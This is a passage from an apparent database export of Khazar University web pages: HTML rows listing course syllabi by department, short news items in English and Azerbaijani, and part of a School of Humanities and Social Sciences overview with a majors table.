style=\"color:#ff33ff\"><a href=\"http://www.khazar.org/files/education/Archeology%20(Orkhan%20Zamanov).pdf\">Archeology (Orkhan Zamanov)</a></p><p><a href=\"http://www.khazar.org/files/education/Azerbaijani%20History%20-%201%20(Ulviyya%20%C4%B0brahimli).pdf\">Azerbaijani History - 1 (Ulviyya İbrahimli)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Azerbaijani%20History%20-%203%20(Nasiman%20Yagublu).pdf\">Azerbaijani History - 3 (Nasiman Yagublu)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Azerbaijani%20History%20(Khagan%20Balayev).pdf\">Azerbaijani History (Khagan Balayev)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/History%20of%20Caucasus%20%20people%20(Telman%20Guliyev).pdf\">History of Caucasus&nbsp; people (Telman Guliyev)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/History%20of%20Medieval%20%20East%20(Habil%20Mammadov).pdf\">History of Medieval&nbsp; East (Habil Mammadov)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/History%20of%20Medieval%20Europe%20(Sayad%20Mekhdizadeh).pdf\">History of Medieval Europe (Sayad Mekhdizadeh)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/History%20of%20World%20Civilizations%20-%201%20(Orkhan%20Zamanov).pdf\">History of World Civilizations - 1 (Orkhan Zamanov)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/New%20History%20of%20Europe%20and%20America%20%20(Araz%20Aslanli).pdf\">New History of Europe and America&nbsp; (Araz Aslanli)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Subsidiary%20historical%20subjects%20(Orkhan%20Zamanov).pdf\">Subsidiary historical subjects (Orkhan Zamanov)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Turkic%20World%20Culture%20(Telman%20Guliyev).pdf\">Turkic World Culture (Telman Guliyev)</a>&nbsp;</p><p><br></p><h3>Azərbaycan dili və Ədəbiyyat Departamenti  <br></h3><p><a href=\"http://www.khazar.org/files/education/History%20of%20Azerbaijani%20Literature-1%20(Aynur%20Gazanfargizi).pdf\">History of Azerbaijani Literature-1 (Aynur Gazanfargizi)</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/education/Azerbaijani%20Language%20(Hilala%20%C4%B0badoba).pdf\">Azerbaijani Language (Hilala İbadoba)</a><br></p><p><a href=\"http://www.khazar.org/files/education/Azerbaijani%20Language%20(Reykhan%20Madatova).pdf\">Azerbaijani Language (Reykhan Madatova)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/World%20Literature%20-%203%20(Gardashkhan%20Azizov).pdf\">World Literature - 3 (Gardashkhan Azizov)</a><br></p><p><a href=\"http://www.khazar.org/files/education/History%20of%20Azerbaijani%20Literature%20-%201%20(Vurgun%20Eyyub).pdf\">History of Azerbaijani Literature - 1 (Vurgun Eyyub)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/History%20of%20Azerbaijani%20Literature%20-%203%20(Vurgun%20Eyyub).pdf\">History of Azerbaijani Literature - 3 (Vurgun Eyyub)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Old%20Alphabet%20(Zivar%20Huseynli%20Baylan).pdf\">Old Alphabet (Zivar Huseynli Baylan)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Old%20Alphabet%20(Khatira%20Yusifova).pdf\">Old Alphabet (Khatira Yusifova)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Introduction%20to%20Linguistics%20(%C4%B0laha%20Gurbanova).pdf\">Introduction to Linguistics (İlaha Gurbanova)</a><br></p><p><a href=\"http://www.khazar.org/files/education/Modern%20Azerbaijani%20language%20-%201%20(%C4%B0laha%20Gurbanova).pdf\">Modern Azerbaijani language - 1 (İlaha Gurbanova)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Modern%20Azerbaijani%20language%20-%201%20(Reykhan%20Madatova).pdf\">Modern Azerbaijani language - 1 (Reykhan Madatova)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Modern%20Azerbaijani%20language%20-%203%20(Reykhan%20Madatova).pdf\">Modern Azerbaijani language - 3 (Reykhan Madatova)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Azerbaijanin%20dialectology%20(Gatiba%20Guliyeva).pdf\">Azerbaijanin dialectology (Gatiba Guliyeva)</a><br></p><p><a href=\"http://www.khazar.org/files/education/Modern%20Literary%20movements%20(Dilbar%20Zeynalova).pdf\">Modern Literary movements (Dilbar Zeynalova)</a></p><p><br></p><h3>Biologiya Departamenti&nbsp;</h3><p><a href=\"http://www.khazar.org/files/education/Botanics%20-%202%20(Gulafat%20Shafiyeva).pdf\">Botanics - 2 (Gulafat Shafiyeva)</a></p><p><a href=\"http://www.khazar.org/files/education/Environmental%20Science%20and%20biotechnology%20(Javid%20Ocagi).pdf\">Environmental Science and biotechnology (Javid Ocagi)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/General%20biology%20(Javid%20Ocagi).pdf\">General biology (Javid Ocagi)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Human%20and%20animal%20physiology%20(Asaf%20Omarov).pdf\">Human and animal physiology (Asaf Omarov)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Life%20Science%20A%20(Parviz%20Nassirov).pdf\">Life Science A (Parviz Nassirov)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Life%20Science%20B%20(Parvana%20Bakhshaliyeva).pdf\">Life Science B (Parvana Bakhshaliyeva)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Life%20Science%20C%20(Parvana%20Bakhshaliyeva).pdf\">Life Science C (Parvana Bakhshaliyeva)</a></p><p><a href=\"http://www.khazar.org/files/education/Life%20Science%20D%20(Parvana%20Bakhshaliyeva).pdf\">Life Science D (Parvana Bakhshaliyeva)</a></p><p><a href=\"http://www.khazar.org/files/education/Molecular%20genetics%20(Javid%20Ocagi).pdf\">Molecular genetics (Javid Ocagi)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Zoology%20-%201%20(Huseyn%20Jafarov).pdf\">Zoology - 1 (Huseyn Jafarov)</a></p><p><br></p><h3>Riyaziyyat Departamenti  <br></h3><p><a href=\"http://www.khazar.org/files/education/Analytical%20geometry%20(Tarlan%20Garayev).pdf\">Analytical geometry (Tarlan Garayev)</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/education/Math%20analysis%20-%201%20(Tarlan%20Garayev).pdf\">Math analysis - 1 (Tarlan Garayev)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Math%20analysis%20-%202%20(Ali%20Huseynli).pdf\">Math analysis - 2 (Ali Huseynli)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Math%20analysis%20-%203%20(Nazim%20Karimov).pdf\">Math analysis - 3 (Nazim Karimov)</a></p><p><a href=\"http://www.khazar.org/files/education/Probability%20theory%20(%C4%B0lham%20Aliyev).pdf\">Probability theory (İlham Aliyev)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Teaching%20Methods%20of%20Math%20(Tarlan%20Garayev).pdf\">Teaching Methods of Math (Tarlan Garayev)</a>&nbsp;</p><p><br></p><h3>Kompüter Elmləri departamenti</h3><p><a href=\"http://www.khazar.org/files/education/Computer%20networks%20and%20communications%20(Asim%20Namazov).pdf\">Computer networks and communications (Asim Namazov)</a>&nbsp;<span style=\"color:#ff33ff;font-size:x-large;background-color:#eeeeee\"></span></p><p><a href=\"http://www.khazar.org/files/education/C-programming%20languages%20(%C4%B0smayil%20%C4%B0smayilov).pdf\">C-programming languages (İsmayil İsmayilov)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Fundamentals%20of%20computer%20programming%20(Mahammad%20Sharifov).pdf\">Fundamentals of computer programming (Mahammad Sharifov)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Introduction%20to%20Computer%20Science%20A%20(Zeynab%20Muradkhanli).pdf\">Introduction to Computer Science A (Zeynab Muradkhanli)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Introduction%20to%20Computer%20Science%20B%20(Zeynab%20Muradkhanli).pdf\">Introduction to Computer Science B (Zeynab Muradkhanli)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Introduction%20to%20Computer%20Science%20C%20(Parvana%20Salmanova).pdf\">Introduction to Computer Science C (Parvana Salmanova)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Introduction%20to%20Computer%20Science%20D%20(Shahla%20Ahmadova).pdf\">Introduction to Computer Science D (Shahla Ahmadova)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Introduction%20to%20Computer%20Science%20E%20(Zeynab%20Muradkhanli).pdf\">Introduction to Computer Science E (Zeynab Muradkhanli)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Introduction%20to%20Computer%20Science%20F%20(Zeynab%20Muradkhanli).pdf\">Introduction to Computer Science F (Zeynab Muradkhanli)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Numerical%20software%20applications%20(%C4%B0zzet%20Shahsenov).pdf\">Numerical software applications (İzzet Shahsenov)</a>&nbsp;</p><p><br></p><h3>Fizika Departamenti&nbsp;</h3><p style=\"color:#ff33ff\"><span style=\"color:#ffcccc\"><a href=\"http://www.khazar.org/files/education/Nuclear%20physics%20(Farida%20Tatardar).pdf\">Nuclear physics (Farida Tatardar)</a></span><br></p><p style=\"color:#ff33ff\"><a href=\"http://www.khazar.org/files/education/Electromagnethism%20(Nuru%20Safarov).pdf\">Electromagnethism (Nuru Safarov)</a></p><p style=\"color:#ff33ff\"><br></p><h3>Təhsil Departamenti  <br></h3><p><a href=\"http://www.khazar.org/files/education/CV/%C4%B0ntroduction_to_Education%20%20(Goshgar%20Maharramov).pdf\">İntroduction_to_Education&nbsp; (Goshgar Maharramov)</a><br></p><p><a href=\"http://www.khazar.org/files/education/CV/Introduction%20to%20Education%20(Ulkar%20Bayramova).pdf\">Introduction_to_Education (Ulkar Bayramova)</a><br></p><p><a href=\"http://www.khazar.org/files/education/CV/Introduction%20to%20Writing%20(Konul%20Mahyaddinova).pdf\">Introduction_to_Writing (Konul Mahyaddinova)</a><br></p><p><a href=\"http://www.khazar.org/files/education/CV/Natural%20Science%20Education%20(Konul%20Mahyaddinova).pdf\">Natural_Science_Education (Konul Mahyaddinova)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/CV/Special%20Education%20(Qaisar%20Sultana).pdf\">Special_Education (Qaisar Sultana)</a><br></p><p><a href=\"http://www.khazar.org/files/education/CV/Special%20Education%20(Kamala%20Aliyeva).pdf\">Special_Education (Kamala Aliyeva)</a><br></p><p><a href=\"http://www.khazar.org/files/education/CV/Teaching_Methods%20of%20Azerbaijani%20Language%20(Elza%20Samadli).pdf\">Teaching_Methods_of_Azerbaijani_Language (Elza Samadli)</a></p><p><a href=\"http://www.khazar.org/files/education/CV/Educational%20Psychology%20(Aytac%20Sahil).pdf\">Educational_Psychology (Aytac Sahil)</a></p><p><br></p><h3>Ətraf Mühit və Coğrafiya Departamenti  <br></h3><p><a href=\"http://www.khazar.org/files/education/Environmental%20Science%20(Rashad%20Allahverdiyev).pdf\">Environmental Science (Rashad Allahverdiyev)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Remote%20Sensing%20(Elvin%20Aliyev).pdf\">Remote Sensing (Elvin Aliyev)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Soil%20sciences%20(Javidan%20Aliyev).pdf\">Soil sciences (Javidan Aliyev)</a></p><p><br></p><h3>Dillər və Mədəniyyət Departamenti</h3>  <p><a href=\"http://www.khazar.org/files/education/German%20Language%20-%201%20A%20(Sevinj%20Allahverdiyeva).pdf\">German Language - 1 A (Sevinj Allahverdiyeva)</a><span style=\"color:#ff33ff\"> </span></p><p><br></p><h3>Psixologiya Departamenti&nbsp;</h3><p><a href=\"http://www.khazar.org/files/education/CV/Introduction%20to%20Psychology.%20Child%20development%20(Kamala%20Aliyeva).pdf\">Introduction to Psychology. Child development (Kamala Aliyeva)</a><br></p><p><a href=\"http://www.khazar.org/files/education/CV/Educational_Psychology%20(Aytac%20Sahil).pdf\">Educational Psychology (Aytac Sahil)</a>&nbsp;</p>  <p style=\"color:#ff33ff\"><br></p><h3><strong style=\"font-size:x-large\">Magistratura</strong></h3><p><a href=\"http://www.khazar.org/files/education/Educational%20Administration%20(Raziya%20%C4%B0sayeva).pdf\">Educational Administration (Raziya İsayeva)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Financial%20Accounting%20(Elnur%20Ramazanov).pdf\">Financial Accounting (Elnur Ramazanov)</a><br></p><p><a href=\"http://www.khazar.org/files/education/International%20Management%20(Elnur%20Huseynov).pdf\">International Management (Elnur Huseynov)</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/education/Modern%20Educational%20Philosophy%20(Goshgar%20Maharramov).pdf\">Modern Educational Philosophy (Goshgar Maharramov)</a><br></p><p><a href=\"http://www.khazar.org/files/education/Research%20Methods%20(Lala%20Ganiyeva).pdf\">Research Methods (Lala Ganiyeva)</a>&nbsp;</p>'),(6322,3595,'en','An article by a PhD student is published','An article “A struggle between love and religion: the investigation of interfaith love...','<p>An article “<strong><em><a href=\"/files/admin/news-events/fariba_farhangi_article.pdf\">A struggle between love and religion: the investigation of interfaith love in religious context in Edward Valmont’s The moon of the fourteenth night</a></em></strong>” by Fariba Farhangi, a PhD student in Germanic Languages, has been published, in English and Russian, in Philology issues (collection number 8) of the Institute of Manuscripts named after M.Fuzuli, Azerbaijan National Academy of Sciences (pp. 324-330).</p>'),(6216,3538,'en','Hungarian Historian visits Khazar University','On October 18, 2018, Nyitray Szabolcs, a Hungarian historian, and Mubariz Khalilov were hosted by the Department...','<p>On October 18, 2018, Nyitray Szabolcs, a Hungarian historian, and Mubariz Khalilov were hosted by the Department of History and Archaeology of Khazar University. Firstly, they had an exchange of views with instructors of the Department and met students afterwards. Nyitray Szabolcs provided detailed information on history and ethnogenesis of Hungarian people. The guests also answered students’ questions.</p><p>At the end, the participants took memory photos.</p>'),(6215,3538,'az','Macarıstanlı tarixçı Xəzər Universitetində','2018-ci il oktyabrın 18-də macarıstanlı tarixçi Nyitray Szabolcs və Mübariz Xəlilov Xəzər Universiteti...','<p>2018-ci il oktyabrın 18-də macarıstanlı tarixçi Nyitray Szabolcs və Mübariz Xəlilov Xəzər Universiteti Tarix və arxeologiya departamentinin qonağı oldular. Qonaqlar ilkin olaraq, departamentdə Xəzər Universitetinin müəllimləri ilə fikir mübadiləsi etdilər. Daha sonra tələbələrlə görüş keçirildi. Nyitray Szabolcs macar xalqının keçmişi, etnogenezi haqqında geniş məlumat verdi. Tələbələr qonaqlara sual verdilər.</p><p>Görüş xatirə şəkli ilə yekunlaşdı.</p>'),(4278,2522,'en','Students of Khazar University Participate in “Peer to Peer: Facebook Global Digital Challenge\"','In Fall semester of 2017-2018 academic year Khazar University will participate in “Peer...','<p>In Fall semester of 2017-2018 academic year Khazar University will participate in “Peer to Peer: Facebook Global Digital Challenge”, a global university youth initiative and an international competition. This will be the third time that the university takes part in this global challenge.</p><p>The university will be represented by a team of students from various schools and departments, in particular, Department of Economics and Management, Department of Psychology, and Department of Political Science and International Relations. Each participating team must design and carry out a digital marketing campaign targeting extremism that resonates with their community.</p><p>The team includes 14 students, both local and international:</p><ul><li>Amanullah Nazari (Economics, BBA; Afghanistan)</li><li>Aytakin Karimova (Business Administration, BBA; Azerbaijan)</li><li>Danu Ade Setiawan (Banking, MBA; Indonesia)</li><li>Gunay Farzaliyeva (Business Administration, MBA; Azerbaijan)</li><li>Hasan Alili (Management, BBA; Azerbaijan)</li><li>Jalal Huseynbayli (International Relations, BA; Azerbaijan)</li><li>Laman Guliyeva (Psychology, BA; Azerbaijan)</li><li>Mina Maharova (Marketing, BBA; Azerbaijan)</li><li>Matin Mammadzada (Marketing, BBA; Azerbaijan)</li><li>Murtaza Afzali (Economics, BBA; Afghanistan)</li><li>Ruslan Osmanli (Management, BBA; Azerbaijan)</li><li>Tatenda Melody Mudara (International Relations, BA; Zimbabwe)</li><li>Araz Mammadov (Political Science, BA; Georgia)</li><li>Murad Nuriyev (Finance, BBA;&nbsp;Azerbaijan).<br></li></ul><p><br></p><p>On October 6, 2017, the team had their first meeting to brainstorm about the campaign and identify their main idea and goals.</p><p>Participation of Khazar University in “Peer to Peer: Facebook Global Digital Challenge” is coordinated by the International Affairs Office.&nbsp;</p><p><strong><br></strong></p><h2><strong>About Peer to Peer: Facebook Global Digital Challenge&nbsp;</strong></h2><p>The Peer to Peer (P2P): Facebook Global Digital Challenge program challenges teams of university students around the world to design, pilot, implement and measure the success of a social or digital initiative, product or tool that motivates or empowers students to become involved in countering hateful and extremist narratives; catalyzes other students to create their own initiatives, products, or tools to counter hateful and extremist narratives; and builds a community of interest/network focused on living shared values that counter hateful and extremist narratives through action.</p><p>P2P is a global university competition that started in 2015 as a White House initiative, then U.S. government interagency partnership, that engaged students from 23 universities around the world to create social and digital media campaigns to counter online hate and extremism. Facebook became involved with P2P in fall 2015, forging a public–private partnership. They provide Facebook ad credits to all teams, and they became the official program sponsor for all international teams in fall 2016.</p><p>(Source:<a href=\"https://edventurepartners.com/peer-to-peer-facebook-global-digital-challenge-spring-2017-winners-named-in-dc/\"> https://edventurepartners.com/peer-to-peer-facebook-global-digital-challenge-spring-2017-winners-named-in-dc/</a>)&nbsp;</p><p>For more information about the program, please visit:</p><p>Website of EdVenture Partners: <a href=\"https://edventurepartners.com/peer-to-peer-facebook-global-digital-challenge/#program_process_anchor\">https://edventurepartners.com/peer-to-peer-facebook-global-digital-challenge/#program_process_anchor</a></p>'),(2189,1341,'az',' Əməkdaşlarımız Üzeyir Hacıbəyli Beynəlxalq Musiqi Festivalında','Azərbaycan Respublikası Mədəniyyət və Turizm Nazirliyi və Heydər Əliyev Fondunun təşkilatçılığı ilə sentyabrın 18-27 - də keçirilən VIII Üzeyir Hacıbəyli Beynəlxalq Musiqi Festivalı...','<p>Azərbaycan Respublikası Mədəniyyət və Turizm\r\nNazirliyi və Heydər Əliyev Fondunun təşkilatçılığı ilə sentyabrın 18-27 - də\r\nkeçirilən VIII Üzeyir Hacıbəyli Beynəlxalq Musiqi Festivalı çərçivəsində\r\nsentyabrın 18-də bəstəkarın ev muzeyində ədəbi-musiqili tədbir oldu. Tədbirdə ədəbi\r\nvə musiqi ictimaiyyətinin nümayəndələri iştirak edirdilər.</p>\r\n<p>Tədbiri muzeyin direktoru, bəstəkar Sərdar Fərəcov\r\naçaraq, dahi bəstəkarın həyat və yaradıcılığından, ənənəvi olaraq hər il\r\nkeçirilən beynəlxalq festivalın əhəmiyyətindən danışdı.&nbsp; Sonra tədqiqatçı-publisist Aslan Kənanın\r\n“Qürbətdən gələn səslər” kitabının təqdimatı keçirildi, tədqiqatçıların məruzələri\r\ndinlənildi və musiqi proqramı təqdim olundu.</p>\r\n<p>Musiqi proqramında Xəzər Universitetinin Musiqi və\r\nincəsənət departamentinin müdiri, pianoçu, dosent Zülfiyyə Sadıqova və\r\nuniversitetin Kamera orlestrinin konsertmeysteri Nəsrin Rzayeva iştirak etdilər.</p>\r\n<p>Qeyd edək ki,&nbsp;\r\nXəzər Universiteti hər il olduğu kimi, bu il də festivalda fəal iştirak\r\nedir. “Xəzər”in musiqiçiləri sentyabrın 23-də Üzeyir Hacıbəylinin ev muzeyində,\r\n26-da Kamera və orqan musiqisi zalında keçiriləcək konsertlərdə iştirak edəcək,\r\nsentyabrın 27-də isə universitetin Mərmər salonunda slovakiyalı violinçi Fərhad\r\nAşumov, Musiqi və incəsənət departametinin müdiri Zülfiyyə Sadıqova &nbsp;və universitetin Kamera orkestinin iştirakı ilə\r\nkonsert-görüş keçiriləcək.</p>'),(60,66,'en','School of Humanities and Social Sciences','School of Humanities and Social Sciences','<h3 style=\"text-align:justify\"><strong>General Information</strong></h3><p style=\"text-align:justify\">The idea of the School of Humanities developed a year after Khazar University was founded. The importance of nourishing the younger generation of specialists in humanities was prioritized by the University in 1992 and several departments were established henceforth. The school chose as its mission learning, preserving and spreading Azerbaijani national and cultural values embedded in our heritage as well as appreciating diversity and welcoming universal values.</p><p style=\"text-align:justify\">Thus, a group of former high school students successfully admitted to the newly-established School of Humanities became pioneers in their field at this school, where English Language/ Literature and Journalism started to be offered as undergraduate majors and Eastern Languages as minors.&nbsp;</p><p style=\"text-align:justify\">In 2004, the idea of merging the School of Humanities with several departments at the School of Law and Social Sciences was discussed and in 2005 the School of Humanities transformed into the School of Humanities and Social Sciences. At present, the School of Humanities and Social Sciences (SHSS) is the largest academic division at Khazar University and offers undergraduate and graduate degree programs in a wide range of disciplines.</p><p style=\"text-align:justify\">The faculty of SHSS is drawn predominantly from teachers and scholars with solid Western-European and North-American training. The student body at the SHSS is intellectually distinguished and diverse in interests. Since the primary language of instruction and research in English and the curricula correspond to the standards of leading higher education institutions in the West, students, faculty and researchers are capable of keeping pace with global developments in their fields, utilizing best practices and effectively communicating with scholarly communities all over the globe.&nbsp;</p><p><strong>Academic departments under the Dean\'s Office:</strong></p><p>·Department of Languages and Cultures</p>\r\n<p>·Department of English language and literature</p>\r\n<p>·Department of Music and Fine Arts</p>\r\n<p>·Department of Philosophy and Sociology</p>\r\n<p>·Department of Law</p>\r\n<p>·Department of Journalism</p><p>·Department of Design<br></p>\r\n<p>·Department of Political Science and International Relations</p>\r\n<p>·Department of Psychology</p>\r\n<p>·Department of History and Archeology</p>\r\n<p><strong>Majors:</strong></p><table cellspacing=\"0\" cellpadding=\"0\" width=\"690\" style=\"width:517.25pt;border-collapse:collapse;border:initial none #000\">\r\n <tbody><tr>\r\n  <td width=\"300\" style=\"width:224.75pt;padding:0in 5.4pt;vertical-align:top;border:1pt solid #000\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>Bachelor majors:</strong></p>\r\n  </td>\r\n  <td width=\"390\" style=\"width:292.5pt;border-top:1pt solid windowtext;border-right:1pt solid windowtext;border-bottom:1pt solid windowtext;border-left:none;padding:0in 5.4pt;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>Master majors:</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"300\" style=\"width:224.75pt;border-right:1pt solid windowtext;border-bottom:1pt solid windowtext;border-left:1pt solid windowtext;border-top:none;padding:0in 5.4pt;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">International relations<span lang=\"RU\" style=\"font-size:12.0pt;font-family:\'Arial\',sans-serif\"></span></p>\r\n  </td>\r\n  <td width=\"390\" style=\"\" width:292.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">History and Theory of\r\n  International relations</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"300\" style=\"width:224.75pt;border-right:1pt solid windowtext;border-bottom:1pt solid windowtext;border-left:1pt solid windowtext;border-top:none;padding:0in 5.4pt;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">English language and literature<span lang=\"RU\" style=\"font-size:12.0pt;font-family:\'Arial\',sans-serif\"></span></p>\r\n  </td>\r\n  <td width=\"390\" style=\"\" width:292.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">International Relations and\r\n  Diplomacy</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"300\" style=\"width:224.75pt;border-right:1pt solid windowtext;border-bottom:1pt solid windowtext;border-left:1pt solid windowtext;border-top:none;padding:0in 5.4pt;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Design<span lang=\"RU\" style=\"font-size:12.0pt;font-family:\'Arial\',sans-serif\"></span></p>\r\n  </td>\r\n  <td width=\"390\" style=\"\" width:292.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Area Studies<span lang=\"RU\" style=\"font-size:12.0pt;font-family:\'Arial\',sans-serif\"></span></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"300\" style=\"width:224.75pt;border-right:1pt solid windowtext;border-bottom:1pt solid windowtext;border-left:1pt solid windowtext;border-top:none;padding:0in 5.4pt;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Area Studies<span lang=\"RU\" style=\"font-size:12.0pt;font-family:\'Arial\',sans-serif\"></span></p>\r\n  </td>\r\n  <td width=\"390\" style=\"\" width:292.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Conflict Studies</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"300\" style=\"width:224.75pt;border-right:1pt solid windowtext;border-bottom:1pt solid windowtext;border-left:1pt solid windowtext;border-top:none;padding:0in 5.4pt;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Political Science<span lang=\"RU\" style=\"font-size:12.0pt;font-family:\'Arial\',sans-serif\"></span></p>\r\n  </td>\r\n  <td width=\"390\" style=\"\" width:292.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">World Political Processes</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"300\" style=\"width:224.75pt;border-right:1pt solid windowtext;border-bottom:1pt solid windowtext;border-left:1pt solid windowtext;border-top:none;padding:0in 5.4pt;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Psychology<span lang=\"RU\" style=\"font-size:12.0pt;font-family:\'Arial\',sans-serif\"></span></p>\r\n  </td>\r\n  <td width=\"390\" style=\"\" width:292.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Linguistics (in English)</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"300\" style=\"width:224.75pt;border-right:1pt solid windowtext;border-bottom:1pt solid windowtext;border-left:1pt solid windowtext;border-top:none;padding:0in 5.4pt;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Translation<span lang=\"RU\" style=\"font-size:12.0pt;font-family:\'Arial\',sans-serif\"></span></p>\r\n  </td>\r\n  <td width=\"390\" style=\"\" width:292.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Translation (in English)</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"300\" style=\"width:224.75pt;border-right:1pt solid windowtext;border-bottom:1pt solid windowtext;border-left:1pt solid windowtext;border-top:none;padding:0in 5.4pt;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"390\" style=\"\" width:292.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Clinical psychology</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"300\" style=\"width:224.75pt;border-right:1pt solid windowtext;border-bottom:1pt solid windowtext;border-left:1pt solid windowtext;border-top:none;padding:0in 